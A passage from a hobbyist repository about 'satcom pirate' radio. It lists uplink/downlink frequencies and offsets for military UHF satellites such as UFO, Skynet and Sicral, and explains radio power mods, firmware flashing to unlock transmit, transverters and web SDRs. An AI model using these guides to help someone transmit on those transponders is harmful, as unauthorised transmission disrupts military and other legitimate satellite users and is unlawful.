317.240 | 73.190 | UFO 11 | 6 khz | | 26 | | 244.060 | 317.210 | 73.150 | UFO 11 | 6 khz | | 27 | | 244.090 | 317.190 | 73.100 | UFO 11 | 6 khz | | 28 | | 244.115 | 317.215 | 73.100 | UFO 11 | 6 khz | | 29 | | 244.155 | 317.255 | 73.100 | UFO 11 | 6 khz | | 30 | | 244.165 | 317.265 | 73.100 | UFO 11 | 6 khz | | 31 | | 244.175 | 317.275 | 73.100 | UFO 11 | 6 khz | | 32 | | 244.185 | 317.285 | 73.100 | UFO 11 | 6 khz | | 33 | | 244.195 | 317.295 | 73.100 | UFO 11 | 6 khz | | 34 | | 244.205 | 317.305 | 73.100 | UFO 11 | 6 khz | | 35 | | 244.225 | 317.325 | 73.100 | UFO 11 | 30 khz | | 36 | | 244.275 | 301.025 | 56.750 | Comsat BW1 | 30 khz | | 37 | | 244.975 | 293.000 | 48.025 | Skynet 4C | 30 khz | | 38 | | 245.200 | 314.450 | 69.250 | UFO 10 | 30 khz | | 39 | | 245.800 | 309.410 | 63.610 | Skynet 5C | 30 khz | RU | 40 | | 245.850 | 314.230 | 68.380 | Skynet 5A | 30 khz | | 41 | | 245.950 | 313.000 | 67.050 | Skynet 5D | 30 khz | | 42 | | 246.250 | 295.600 | 49.350 | Skynet 4C | 30 khz | | 43 | | 246.700 | 297.700 | 51.000 | Skynet 4C | 30 khz | | 44 | | 247.450 | 298.800 | 51.350 | Skynet 5D | 30 khz | RU | 45 | | 248.450 | 298.950 | 50.500 | Skynet 4C? | 30 khz | | 46 | | 248.750 | 306.900 | 58.150 | Comsat BW2 | 30 khz | | 47 | | 248.825 | 294.375 | 45.550 | UFO 11 | 30 khz | | 48 | | 248.845 | 302.445 | 53.600 | UFO 11 | 6 khz | | 49 | | 248.855 | 302.455 | 53.600 | UFO 11 | 6 khz | | 50 | | 248.865 | 302.465 | 53.600 | UFO 11 | 6 khz | | 51 | | 248.875 | 302.475 | 53.600 | UFO 11 | 6 khz | | 52 | | 248.885 | 302.485 | 53.600 | UFO 11 | 6 khz | | 53 | | 248.895 | 302.495 | 53.600 | UFO 11 | 6 khz | | 54 | | 248.905 | 302.505 | 53.600 | UFO 11 | 6 khz | | 55 | | 248.915 | 302.515 | 53.600 | UFO 11 | 6 khz | | 56 | | 248.945 | 302.545 | 53.600 | UFO 11 | 6 khz | | 57 | | 248.955 | 302.555 | 53.600 | UFO 11 | 6 khz | | 58 | | 248.965 | 302.565 | 53.600 | UFO 11 | 6 khz | | 59 | | 248.975 | 302.575 | 53.600 | UFO 7 | 6 khz | | 60 | | 248.985 | 302.585 | 53.600 | UFO 7 | 6 khz | | 61 | | 248.990 | 302.525 | 53.535 | UFO 11 | 6 khz | | 62 | | 248.995 | 302.595 | 53.600 | UFO 7 | 6 khz | | 63 | | 249.000 | 302.600 | 53.600 | UFO 11 | 6 khz | | 64 | | 249.005 | 302.605 | 53.600 | UFO 7 | 6 khz | | 65 | | 249.015 | 302.615 | 53.600 | UFO 7 | 6 khz | | 66 | | 249.025 | 302.625 | 53.600 | UFO 7 | 6 khz | | 67 | | 249.035 | 302.635 | 53.600 | UFO 7 | 6 khz | | 68 | | 249.045 | 302.645 | 53.600 | UFO 7 | 6 khz | | 69 | | 249.050 | 302.650 | 53.600 | UFO 11 | 6 khz | | 70 | | 249.055 | 302.655 | 53.600 | UFO 7 | 6 khz | | 71 | | 249.065 | 302.665 | 53.600 | UFO 7 | 6 khz | | 72 | | 249.075 | 302.675 | 53.600 | UFO 7 | 6 khz | | 73 | | 249.085 | 302.685 | 53.600 | UFO 7 | 6 khz | | 74 | | 249.095 | 302.695 | 53.600 | UFO 7 | 6 khz | | 75 | | 249.100 | 302.700 | 53.600 | UFO 11 | 6 khz | | 76 | | 249.105 | 302.705 | 53.600 | UFO 10 | 6 khz | | 77 | | 249.115 | 302.715 | 53.600 | UFO 10 | 6 khz | | 78 | | 249.125 | 302.725 | 53.600 | UFO 10 | 6 khz | | 79 | | 249.135 | 302.735 | 53.600 | UFO 10 | 6 khz | | 80 | | 249.145 | 302.745 | 53.600 | UFO 10 | 6 khz | | 81 | | 249.155 | 302.755 | 53.600 | UFO 10 | 6 khz | | 82 | | 249.165 | 302.765 | 53.600 | UFO 10 | 6 khz | | 83 | | 249.175 | 302.775 | 53.600 | UFO 10 | 6 khz | | 84 | | 249.185 | 302.785 | 53.600 | UFO 10 | 6 khz | | 85 | | 249.195 | 302.795 | 53.600 | UFO 10 | 6 khz | | 86 | | 249.205 | 302.805 | 53.600 | UFO 10 | 6 khz | | 87 | | 249.215 | 302.815 | 53.600 | UFO 10 | 6 khz | | 88 | | 249.225 | 302.825 | 53.600 | UFO 10 | 6 khz | | 89 | | 249.250 | 302.850 | 53.600 | UFO 10 | 6 khz | | 90 | | 249.235 | 302.835 | 53.600 | UFO 11 | 6 khz | | 91 | | 249.245 | 302.845 | 53.600 | UFO 11 | 6 khz | | 92 | | 249.255 | 302.855 | 53.600 | UFO 11 | 6 khz | | 93 | | 249.265 | 302.865 | 53.600 | UFO 11 | 6 khz | | 94 | | 249.275 | 302.875 | 53.600 | UFO 11 | 6 khz | | 95 | | 249.285 | 302.885 | 53.600 | UFO 11 | 6 khz | | 96 | | 249.295 | 302.895 | 53.600 | UFO 11 | 6 khz | | 97 | | 249.300 | 302.900 | 53.600 | UFO 10 | 6 khz | | 98 | | 249.305 | 302.905 | 53.600 | UFO 11 | 6 khz | | 99 | | 249.315 | 302.915 | 53.600 | UFO 11 | 6 khz | | 100 | | 249.325 | 302.925 | 53.600 | UFO 11 | 6 khz | | 101 | | 249.335 | 302.935 | 53.600 | UFO 11 | 6 khz | | 102 | | 249.345 | 302.945 | 53.600 | UFO 11 | 6 khz | | 103 | | 249.350 | 302.950 | 53.600 | UFO 10 | 6 khz | | 104 | | 249.355 | 302.955 | 53.600 | UFO 11 | 6 khz | | 105 | | 249.400 | 300.975 | 51.575 | Comsat BW1 | 30 khz | | 106 | | 249.450 | 312.750 | 63.300 | Skynet 5C | 30 khz | Brazil | 107 | | 249.490 | 312.850 | 63.360 | Skynet 5B | 30 khz | | 108 | | 249.530 | 298.800 | 49.270 | Skynet 5C | 30 khz | Brazil | 109 | | 249.560 | 298.760 | 49.200 | Skynet 5B | 6 khz | | 110 | | 249.570 | ? | ? | Skynet 5B | 6 khz | | 111 | | 249.580 | 298.740 | 49.160 | Skynet 5B | 6 khz | | 112 | | 249.800 | 295.000 | 45.200 | Skynet 4C | 30 khz | | 113 | | 249.890 | 300.500 | 50.610 | Skynet 5D | 30 khz | | 114 | | 249.930 | 308.750 | 58.820 | Skynet 5B | 30 khz | | 115 | | 250.050 | ? | ? | Skynet 5B | 6 khz | | 116 | | 250.090 | 312.600 | 62.510 | Skynet 5B | 30 khz | | 117 | | 250.200 | 313.950 | 63.750 | Skynet 5C | 30 khz | | 118 | | 250.350 | 294.875 | 44.525 | ? | 30 khz | | 119 | | 250.700 | 295.050 | 44.350 | UFO 11 | 30 khz | | 120 | | 250.900 | 308.300 | 57.400 | Comsat BW2 | 30 khz | | 121 | | 250.950 | 299.500 | 48.550 | Skynet 5B | 30 khz | | 122 | | 251.575 | 308.450 | 56.875 | ? | 30 khz | | 123 | | 251.600 | 298.225 | 46.625 | Intelsat 22 | 30 khz | | 124 | | 251.850 | 292.850 | 41.000 | UFO 11 | 30 khz | | 125 | | 251.950 | 292.950 | 41.000 | UFO 10 | 30 khz | Brazil | 126 | | 252.050 | 293.050 | 41.000 | UFO 10 | 30 khz | Brazil | 127 | | 252.150 | 293.150 | 41.000 | Intelsat 22 | 30 khz | | 128 | | 252.200 | 315.250 | 63.050 | Sicral 2 | 30 khz | | 129 | | 252.250 | 316.350 | 64.100 | Sicral 2 | 30 khz | | 130 | | 252.300 | 293.300 | 41.000 | Intelsat 22 | 30 khz | | 131 | | 252.350 | 310.225 | 57.875 | Sicral 1B | 30 khz | | 132 | | 252.400 | 293.275 | 40.875 | Sicral 1B | 30 khz | | 133 | | 252.450 | 309.750 | 57.300 | Sicral 1B | 30 khz | | 134 | | 252.500 | 309.800 | 57.300 | Sicral 1B | 30 khz | | 135 | | 252.550 | 293.200 | 40.650 | Sicral 1B | 30 khz | | 136 | | 252.625 | 311.450 | 58.825 | Sicral 1B | 30 khz | | 137 | | 252.750 | 306.300 | 53.550 | Skynet 5B | 30 khz | | 138 | | 253.300 | 307.800 | 54.500 | Skynet 5B | 30 khz | | 139 | | 253.550 | 294.550 | 41.000 | UFO11 | 30 khz | | 140 | | 253.600 | 316.250 | 62.650 | Sicral 2? | 30 khz | Not sicral 2. UFO10? Skynet 5C? | 141 | | 253.625 | 296.000 | 42.375 | UFO 11 | 30 khz | | 142 | | 253.650 | 294.650 | 41.000 | UFO 2? | 30 khz | | 143 | | 253.675 | 294.425 | 40.750 | | 30 khz | | 144 | | 253.725 | 294.450 | 40.725 | Intelsat 22 | 30 khz | | 145 | | 253.750 | 294.750 | 41.000 | UFO 10 | 30 khz | Brazil | 146 | | 253.825 | 294.050 | 40.225 | Skynet 5C | 30 khz | | 147 | | 253.850 | 294.850 | 41.000 | UFO 10 | 30 khz | Brazil/German | 148 | | 253.900 | 307.500 | 53.600 | Skynet 5C | 30 khz | Noise | 149 | | 253.950 | 312.800 | 58.850 | Skynet 5D | 30 khz | | 150 | | 253.975 | 294.975 | 41.000 | Intelsat 22 | 6 khz | | 151 | | 254.000 | 298.630 | 44.630 | UFO 11 | 30 khz | | 152 | | 254.025 | 295.025 | 41.000 | Intelsat 22 | 6 khz | | 153 | | 254.200 | | | | | | 154 | | 254.500 | 308.100 | 53.600 | Intelsat 22 | 6 khz | | 155 | | 254.530 | 308.130 | 53.600 | Intelsat 22 | 6 khz | | 156 | | 254.625 | 295.625 | 41.000 | Intelsat 22 | 6 khz | | 157 | | 254.730 | 312.550 | 57.820 | Skynet 5D | 30 khz | | 158 | | 254.775 | 317.825 | 63.050 | Comsat BW2 | 30 khz | DMR | 159 | | 255.000 | | | | | Brazil | 160 | | 255.100 | 318.175 | 63.075 | Sicral 2? | 30 khz | | 161 | | 255.250 | 296.250 | 41.000 | UFO 11 | 30 khz | | 162 | | 255.275 | 297.400 | 42.125 | | 30 khz | | 163 | | 255.350 | 296.350 | 41.000 | UFO 2 | 30 khz | RU | 164 | | 255.450 | 296.450 | 41.000 | UFO 10? | 30 khz | Brazil | 165 | | 255.650 | 296.650 | 41.000 | Intelsat 22 | 6 khz | | 166 | | 255.675 | 296.675 | 41.000 | Intelsat 22 | 30 khz | | 167 | | 255.775 | 309.300 | 53.525 | Comsat BW1 | 30 khz | | 168 | | 255.850 | 296.850 | 41.000 | Intelsat 22 | 6 khz | | 169 | | 256.450 | 313.850 | 57.400 | Skynet 5D | 30 khz | | 170 | | 256.650 | 311.700 | 55.050 | ? | 30 khz | | 171 | | 256.850 | 297.850 | 41.000 | UFO 11 | 30 khz | | 172 | | 256.875 | 293.950 | 37.075 | Skynet 5C | 30 khz | Beacon | 173 | | 256.950 | 297.950 | 41.000 | UFO 2 | 30 khz | | 174 | | 256.975 | 316.850 | 59.875 | Intelsat 22 | 30 khz | | 175 | | 257.050 | 298.050 | 41.000 | UFO 10 | 30 khz | Brazil | 176 | | 257.075 | 297.450 | 40.375 | ? | 30 khz | | 177 | | 257.150 | 298.150 | 41.000 | FLT 8 | 30 khz | Beacon (Alarm) | 178 | | 257.175 | 298.125 | 40.950 | UFO 11 | 30 khz | | 179 | | 257.200 | 308.800 | 51.600 | UFO/Sicral 2 | 30 khz | | 180 | | 257.250 | 316.900 | 59.650 | UFO/Sicral 2 | 30 khz | Spanish | 181 | | 257.300 | 309.725 | 52.425 | UFO/Sicral 2 | 30 khz | | 182 | | 257.350 | 307.200 | 49.850 | UFO/Sicral 2 | 30 khz | | 183 | | 257.450 | 305.950 | 48.500 | Skynet 5C | 30 khz | Spanish/Romanian | 184 | | 257.500 | 311.350 | 53.850 | UFO 10 | 30 khz | Brazil | 185 | | 257.600 | 305.950 | 48.350 | Skynet 5A | 30 khz | | 186 | | 257.700 | 316.150 | 58.450 | Skynet 4E | 30 khz | | 187 | | 257.750 | 308.400 | 50.650 | Skynet 4C | 30 khz | 257.755 Ita | 188 | | 257.775 | 311.375 | 53.600 | Intelsat 22? | 30 khz | | 189 | | 257.825 | 297.075 | 39.250 | Skynet 5C | 30 khz | | 190 | | 258.225 | 299.3 | 41.075 | UFO 2 | 30 khz | DMR in 258.215 | 191 | | 258.350 | 299.350 | 41.000 | UFO 11 | 30 khz | | 192 | | 258.450 | 299.450 | 41.000 | UFO 2 | 30 khz | Spanish | 193 | | 258.500 | 299.500 | 41.000 | UFO 11 | 30 khz | | 194 | | 258.550 | 299.550 | 41.000 | UFO 10 | 30 khz | Brazil | 195 | | 258.600 | 294.825 | 36.225 | ? | 30 khz | Buzzer tone | 196 | | 258.650 | 299.650 | 41.000 | UFO 11 | 30 khz | DMR | 197 | | 258.700 | 312.900 | 54.200 | Skynet 4C | 30 khz | | 198 | | 258.950 | | | | | | 199 | | 259.000 | 317.925 | 58.925 | Comsat BW2 | 30 khz | | 200 | | 259.050 | 307.45 | 48.400 | Comsat BW1 | 30 khz | Buzzer tone | 201 | | 259.975 | 309.7 | 49.725 | Sicral 1B | 30 khz | | 202 | | 260.025 | 293.250 | 33.225 | Sicral 1B | 30 khz | Buzzer tone | 203 | | 260.075 | 310.275 | 50.200 | Sicral 1B | 30 khz | | 204 | | 260.125 | 310.125 | 50.000 | Sicral 1B | 30 khz | DMR | 205 | | 260.175 | 309.875 | 49.700 | Sicral 1B | 30 khz | | 206 | | 260.250 | 314.400 | 54.150 | Skynet 5B | 30 khz | | 207 | | 260.375 | 293.975 | 33.600 | UFO 11 | 30 khz | | 208 | | 260.425 | 294.025 | 33.600 | UFO 10 | 30 khz | Brazil | 209 | | 260.450 | 297.575 | 37.125 | UFO 11 | 30 khz | | 210 | | 260.475 | 294.075 | 33.600 | UFO 11 | 30 khz | | 211 | | 260.500 | 317.130 | 56.630 | UFO 11 | 6 khz | | 212 | | 260.525 | 294.125 | 33.600 | UFO 10 | 30 khz | Brazil | 213 | | 260.550 | 293.800 | 33.250 | Intelsat 22 | 30 khz | | 214 | | 260.575 | 294.175 | 33.600 | UFO 10 | 30 khz | Brazil | 215 | | 260.625 | 294.225 | 33.600 | UFO 11 | 30 khz | | 216 | | 260.650 | 297.100 | 36.450 | ? | 30 khz | | 217 | | 260.675 | 294.275 | 33.600 | UFO 10 | 30 khz | Brazil | 218 | | 260.725 | 294.325 | 33.600 | UFO 11 | 30 khz | UFO 4 | 219 | | 260.900 | 313.050 | 52.150 | Skynet 5D | 30 khz | | 220 | | 260.950 | 299.400 | 38.450 | UFO 7 | 30 khz | Brazil | 221 | | 261.100 | 298.700 | 37.600 | Skynet 5A | 30 khz | DMR | 222 | | 261.200 | 294.950 | 33.750 | Skynet 5B | 30 khz | Italian | 223 | | 261.400 | 316.550 | 55.150 | Skynet 4C | 30 khz | | 224 | | 261.575 | 295.175 | 33.600 | UFO 11 | 30 khz | | 225 | | 261.600 | 306.975 | 45.375 | Intelsat 22 | 30 khz | | 226 | | 261.625 | 295.225 | 33.600 | UFO 10 | 30 khz | Brazil | 227 | | 261.650 | 309.650 | 48.000 | Intelsat 22 | 30 khz | | 228 | | 261.675 | 295.275 | 33.600 | UFO 11 | 30 khz | | 229 | | 261.700 | 296.525 | 34.825 | UFO 11 | 30 khz | | 230 | | 261.725 | 295.325 | 33.600 | UFO 10 | 30 khz | Brazil | 231 | | 261.775 | 295.375 | 33.600 | UFO 11 | 30 khz | | 232 | | 261.800 | ? | ? | ? | 30 khz | | 233 | | 261.825 | 295.425 | 33.600 | UFO 10 | 30 khz | Alarm | 234 | | 261.850 | 300.275 | 38.425 | Intelsat 22 | 30 khz | | 235 | | 261.875 | 295.475 | 33.600 | UFO 11 | 30 khz | | 236 | | 261.900 | 316.825 | 54.925 | ? | 30 khz | | 237 | | 261.925 | 295.525 | 33.600 | UFO 10 | 30 khz | Brazil. Old 296.925 | 238 | | 261.950 | 294.625 | 32.675 | UFO 11 | 30 khz | | 239 | | 261.975 | 294.000 | 32.025 | UFO 11 | 30 khz | | 240 | | 262.000 | 314.200 | 52.200 | Skynet 5D | 30 khz | | 241 | | 262.025 | 316.650 | 54.625 | Intelsat 22? | 30 khz | | 242 | | 262.075 | 295.675 | 33.600 | UFO 10 | 30 khz | Brazil | 243 | | 262.175 | 295.775 | 33.600 | UFO7 | 30 khz | Brazil | 244 | | 262.275 | 300.275 | 38.000 | UFO7 | 30 khz | Brazil | 245 | | 262.300 | 295.900 | 33.600 | FLT 8 | 30 khz | | 246 | | 262.375 | 295.975 | 33.600 | UFO 10 | 30 khz | Brazil | 247 | | 263.400 | 316.400 | 53.000 | Skynet 5B | 30 khz | | 248 | | 263.450 | 311.400 | 47.950 | Skynet 5B | 30 khz | | 249 | | 263.500 | 315.200 | 51.700 | Skynet 5B | 30 khz | | 250 | | 263.575 | 297.175 | 33.600 | UFO 11 | 30 khz | | 251 | | 263.600 | 317.140 | 53.540 | UFO 11 | 6 khz | | 252 | | 263.650 | 295.075 | 31.425 | UFO 10 | 30 khz | Brazil | 253 | | 263.675 | 297.275 | 33.600 | UFO 11 | 30 khz | | 254 | | 263.700 | 295.125 | 31.425 | UFO 10 | 30 khz | Brazil | 255 | | 263.725 | 298.525 | 34.800 | UFO 11 | 30 khz | | 256 | | 263.750 | 317.150 | 53.400 | UFO 11 | 6 khz | | 257 | | 263.775 | 297.375 | 33.600 | UFO 2 | 30 khz | | 258 | | 263.800 | 297.250 | 33.450 | UFO 11 | 30 khz | | 259 | | 263.825 | 297.425 | 33.600 | UFO 11 | 30 khz | | 260 | | 263.875 | 297.475 | 33.600 | UFO 2 | 30 khz | Ukraine | 261 | | 263.925 | 297.525 | 33.600 | UFO 11 | 30 khz | | 262 | | 265.250 | 306.250 | 41.000 | UFO 11 | 30 khz | | 263 | | 265.325 | 295.100 | 29.775 | UFO 11 | 30 khz | | 264 | | 265.350 | 306.345 | 41.000 | UFO 10 | 30 khz | Brazil | 265 | | 265.375 | 295.200 | 29.825 | UFO 11 | 30 khz | | 266 | | 265.450 | 306.450 | 41.000 | UFO 10 | 30 khz | | 267 | | 265.475 | 295.500 | 30.025 | UFO 11 | 30 khz | | 268 | | 265.550 | 306.550 | 41.000 | UFO 11 | 30 khz | | 269 | | 265.675 | 306.675 | 41.000 | Intelsat 22 | 30 khz | | 270 | | 265.850 | 306.850 | 41.000 | Intelsat 22 | 30 khz | | 271 | | 266.750 | 316.575 | 49.825 | UFO 11 | 30 khz | | 272 | | 266.850 | 307.850 | 41.000 | UFO 10 | 30 khz | | 273 | | 266.950 | 307.950 | 41.000 | UFO 10 | 30 khz | | 274 | | 266.975 | 297.500 | 30.525 | UFO 11 | 30 khz | | 275 | | 267.050 | 308.050 | 41.000 | Intelsat 22 | 30 khz | | 276 | | 267.100 | 308.100 | 41.000 | Sicral 2 | 30 khz | | 277 | | 267.150 | 308.150 | 41.000 | Sicral 2 | 30 khz | | 278 | | 267.200 | 308.200 | 41.000 | Sicral 2 | 30 khz | | 279 | | 267.250 | 308.250 | 41.000 | Sicral 2 | 30 khz | | 280 | | 267.400 | 294.900 | 27.500 | UFO 11 | 30 khz | | 281 | | 267.575 | 297.625 | 30.050 | UFO 11 | 30 khz | | 282 | | 267.875 | 310.375 | 42.500 | Sicral 1B | 30 khz | | 283 | | 267.950 | 310.075 | 42.125 | Sicral 1B | 30 khz | | 284 | | 268.000 | 310.5 | 42.500 | Sicral 1B | 30 khz | Czech | 285 | | 268.050 | 309.95 | 41.900 | Sicral 1B | 30 khz | Czech | 286 | | 268.100 | 293.325 | 25.225 | Sicral 1B | 30 khz | | 287 | | 268.150 | 309.150 | 41.000 | UFO 11 | 30 khz | | 288 | | 268.200 | 296.050 | 27.850 | UFO 11 | 30 khz | | 289 | | 268.250 | 309.250 | 41.000 | UFO 10 | 30 khz | Brazil | 290 | | 268.350 | 309.350 | 41.000 | UFO 10 | 30 khz | | 291 | | 268.450 | 297.150 | 28.700 | UFO 11 | 30 khz | | 292 | | 268.950 | ? | ? | ? | 30 khz | | 293 | | 269.650 | 302.425 | 32.775 | UFO 11 | 30 khz | | 294 | | 269.725 | 295.150 | 25.425 | UFO 11 | 30 khz | | 295 | | 269.750 | 310.750 | 41.000 | UFO 10 | 30 khz | | 296 | | 269.850 | 310.850 | 41.000 | UFO 10 | 30 khz | Brazil | 297 | | 269.925 | 295.550 | 25.625 | UFO 11 | 30 khz | | 298 | | 269.950 | 310.950 | 41.000 | UFO 11 | 30 khz | | 299 | 300 | 301 | -------- 302 | 303 | Last Update: 01/06/2025 304 | -------------------------------------------------------------------------------- /docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 27 | 28 | Satcom radio 29 | 30 | 31 |
32 | 33 | 34 | 41 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /docs/radios/Modificacion Hardware.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/radios/Modificacion Hardware.pdf -------------------------------------------------------------------------------- /docs/radios/quansheng-uvk5.md: -------------------------------------------------------------------------------- 1 | # Quansheng UV-k5 2 | 3 | The UV-k5 (and UV-k5(8)/UV-k6) don't have much power at Satcom frequencies (1.4W). 4 | 5 | To increase the output power of the radio it's recommended to do the following modification: 6 | 7 | 8 | 9 | After this mod you'll get around 5W of output power. 10 | 11 | Its recommended to install custom firmwares like Matoz to improve reception. 12 | It's essential to use a directive antenna like a yagi or an [amplifier](/amplifiers/index.md) due to the low output power. 13 | 14 | 15 | ---- 16 | 17 | [English UV-K5 Channel](https://t.me/quansheng_uvk5_en_dev) 18 | -------------------------------------------------------------------------------- /docs/radios/tidradio-h3.md: -------------------------------------------------------------------------------- 1 | # Tidradio H3 2 | 3 | 4 | 5 | This transciever allows to work with satcom **without hardware modifications, only firmware**. 6 | Depending on the firmware you can get around 6-8W. 7 | 8 | To make it work you have to update the software with the IAP .exe that you can download [here](https://satcomradio.github.io/_files/TD-H3_IAP.zip). 9 | 10 | You can either use the R3 firmware that you can get on the [official github page](https://github.com/yobabyte/tid_umod/releases) [mirror](https://satcomradio.github.io/_files/uMod_R3.bin) 11 | or alternatively, use the R2 firmware that will give you 2W more of power and you can download it [here](https://satcomradio.github.io/_files/uMod_R2b.bin) 12 | 13 | The steps are the following: 14 | 1. Turn off the radio 15 | 2. Open the software TD-H3_IAP 16 | 3. Select the firmware .bin that you want to load 17 | 4. Select the port 18 | 5. Press the START button 19 | 6. Turn on the radio while pressing the PTT button 20 | 21 | It should now appear a progress bar at the bottom and the firmware should be loaded. 22 | You can use the standard CPS of TidRadio to load channels 23 | 24 | 7. Once uploaded activate the TX in menu: 52,53,54 25 | 8. On the main radio screen, hold button 7 and enter the "secret menu" 26 | 9. Put the VHF/UHF Filter to "280 Mhz" 27 | 28 | [Russian Telegram channel](https://t.me/TD_H3) -------------------------------------------------------------------------------- /docs/radios/wouxun-kg-uv7h.md: -------------------------------------------------------------------------------- 1 | # Wouxun KG-UV7H 2 | 3 | 4 | 5 | This transciever allows to work with satcom straight out of the box with an output power of 7W. 6 | 7 | [Related website](https://www.wouxunshop.com/Dual-Band-Two-Way-Radio-KG-UV7H-p1481750.html) -------------------------------------------------------------------------------- /docs/radios/wouxun-kg-uvr5.md: -------------------------------------------------------------------------------- 1 | # Wouxun KG-UVR5 2 | 3 | 4 | 5 | This transciever allows to work with satcom straight out of the box with an output power of 40-50W. 6 | If you want to expand the TX up to 320Mhz, modify the output power, mic gain or put the freq step at 2.5khz 7 | you can do it with the [chirp driver](https://github.com/SatcomRadio/wouxun_kguvr5_chirp_driver) 8 | 9 | [Related website](https://www.wouxunshop.com/Dual-Frequency-Car-Mobile-Radio-KG-UVR5-p1476572.html) -------------------------------------------------------------------------------- /docs/radios/zastone-uv008.md: -------------------------------------------------------------------------------- 1 | # Zastone uv008 2 | 3 | The Zastone (also sold as Vitai) uv008 is a handheld radio capable of comunicating with Satcom in DMR. 4 | 5 | 6 | 7 | There are 3 versions of this radio. The only version that works with satcom without messing with software is v3 and as 8 | long as you don't buy a used model you should recieve the v3 version if it was build after 2023. 9 | 10 | 11 | 12 | It has a power of around 10W in the satcom frequencies. 13 | The only limitations are the firmware and cps that have some limtations. 14 | 15 | To transmit in DMR you need to have the TX on the VFO A and the RX on VFO B (or the inverse) as the firmware doesn't accept offsets when using DMR 16 | 17 | 18 | 19 | Check [VRTP forum](https://vrtp.ru/index.php?showtopic=33914&st=60) for latest news 20 | 21 | ### Sources: 22 | 23 | [Telegram](https://t.me/Zaston_M7_Pirates) 24 | [Telegram](https://t.me/zastone8) 25 | [Zastone info website](https://telegra.ph/Instrukciya-programmirovaniya-Zastone-UV008-v3-s-AES256-04-03) 26 | -------------------------------------------------------------------------------- /docs/sdr.md: -------------------------------------------------------------------------------- 1 | # Web SDR 2 | 3 | There are some sites that allow you to recieve satcom frequencies through internet. 4 | Pirates use them to check if they reach the satellite or they use them to hear the transmissions if their antenna is "deaf" 5 | 6 | Bear in mind that depending on where the SDR is located they will hear only the satellites that are reachable 7 | 8 | [Rikmotik (Crimea) SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) 9 | [Blumenau (Brazil) SDR](http://jorsan142.mycrestron.com:8073) 10 | [Saltonet (Brazil) SDR](http://sdr.saltonet.inf.br:8073/#freq=29250000,mod=am,sql=-150) 11 | [Wessex (UK)](http://wessex.hopto.org:8060/) 12 | [Germany](http://raveheart.goip.de:8073/#freq=10136000,mod=usb,secondary_mod=ft8,sql=-150) 13 | [Budapest](https://rx.satcom.keenetic.name/#freq=1535000000,mod=nfm,sql=-150) 14 | [Gudynas (Lithuania) SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150) 15 | [Webradio (Russia) SDR 1](http://webradio.sytes.net:8080) 16 | [Webradio (Russia) SDR 2](http://webradio.sytes.net:8081) 17 | [Satcomdv (Russia **Pacific**) SDR](http://satcomdv.chickenkiller.com/#freq=257149996,mod=nfm,sql=-150) 18 | 19 | If you want to find other SDRs you can try: 20 | [map of SDR receivers website (filter by frequency 250Mhz)](https://rx-tx.info/map-sdr-points) 21 | [Kiwi SDR](http://kiwisdr.com/public/) 22 | [WebSdr](http://websdr.org/) -------------------------------------------------------------------------------- /docs/transverters/index.md: -------------------------------------------------------------------------------- 1 | # Transverters 2 | 3 | Transverters work by changing the range of the frequencies that the transciever can communicate 4 | 5 | # UR3LMZ Transverter 6 | 7 | Alexander [ur3lmz](mailto:ur3lmz@gmail.com) sells a very good transverter and depending on the model, it has an input frequency in VHF or in UHF. 8 | 9 | 10 | 11 | 12 | The only difference between the UHF version and the VHF are the frequencies programmed in the ADF4351 and the L1 coil. 13 | 14 | 15 | 16 | 17 | The input power is around 2W and the output is between 12-13W while being powered with 12v DC 18 | Depending on the version the frequency is 200Mhz lower (455Mhz -> 255mhz) or 100 Mhz higher (155mhz -> 255mhz) 19 | 20 | Finally with the selector in the front you choose the Tx Offset (you can cuztomize them when ordering the transverter) 21 | 22 | 1. 33.6Mhz 23 | 2. 41Mhz 24 | 3. 47.225Mhz 25 | 26 | There are 3 BNC connectors in the back. One for connecting the transmitter, the middle one to to connect a standard 27 | UHV/VHF antenna that will be used when the transverter is off and the last one to connect a satcom antenna. 28 | 29 | ``` 30 | For example if you have the UHF version and you are on frequency RX and Tx = 455.50mhz with the selector on position 2 31 | 32 | Rx Frequency = 255.50mhz 33 | Tx Frequency = 296.55mhz (255.50 + 41) 34 | ``` 35 | 36 | The frequency is controlled by the ADF4351 chip and a attiny13 37 | 38 | 39 | 40 | 41 | If you want to have the following offsets: 42 | 1. 33.6Mhz 43 | 2. 41Mhz 44 | 3. 0 (TX=RX) 45 | 46 | You can use the following [firmware](https://satcomradio.github.io/_files/sint13.hex) and upload it with an 47 | [arduino](https://ecetechprojects.wordpress.com/2011/08/06/arduino-upload-hex-files-to-attiny85-using-your-arduino-and-avrdude/) 48 | to the attiny13 of the frecuency controller (only for the UHF version). 49 | 50 | You can also modify the frequencies of the transverter using an Arduino as it's explained in [this Github repository](https://github.com/gavazquez/TransverterControl) 51 | 52 | # R1ZH Transverter 53 | 54 | You can find more info about this transverter (in russian) [here](http://r1zh.ru/satcom3/satcom3.htm) 55 | 56 | 57 | --------------------------------------------------------------------------------